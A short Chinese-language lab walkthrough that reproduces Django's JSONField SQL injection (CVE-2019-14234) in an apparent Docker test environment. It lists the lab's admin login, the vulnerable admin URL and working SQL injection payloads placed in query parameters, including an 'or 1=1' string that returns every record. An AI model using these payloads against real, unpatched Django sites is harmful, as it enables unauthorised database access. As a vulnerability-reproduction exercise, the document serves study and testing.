漏洞描述
Django 于2019年8月1日 日发布了安全更新,修复了 JSONField 和 HStoreField 两个模型字段的 SQL 注入漏洞。
参考链接:
- Django security releases issued: 2.2.4, 2.1.11 and 1.11.23 | Weblog | Django
- Django JSONField SQL注入漏洞(CVE-2019-14234)分析与影响 | 离别歌
该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。
漏洞环境及利用
搭建docker环境
首先,使用用户名和密码登录 Django-Admin,admin,
a123123123
。http://your-ip:8000/admin/
然后转到模型的列表视图:http://your-ip:8000/admin/vuln/collection/
Collection
构建sql注入payload
?detail__a%27b=123
可以看到成功注入
or 1=1返回所有结果
?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20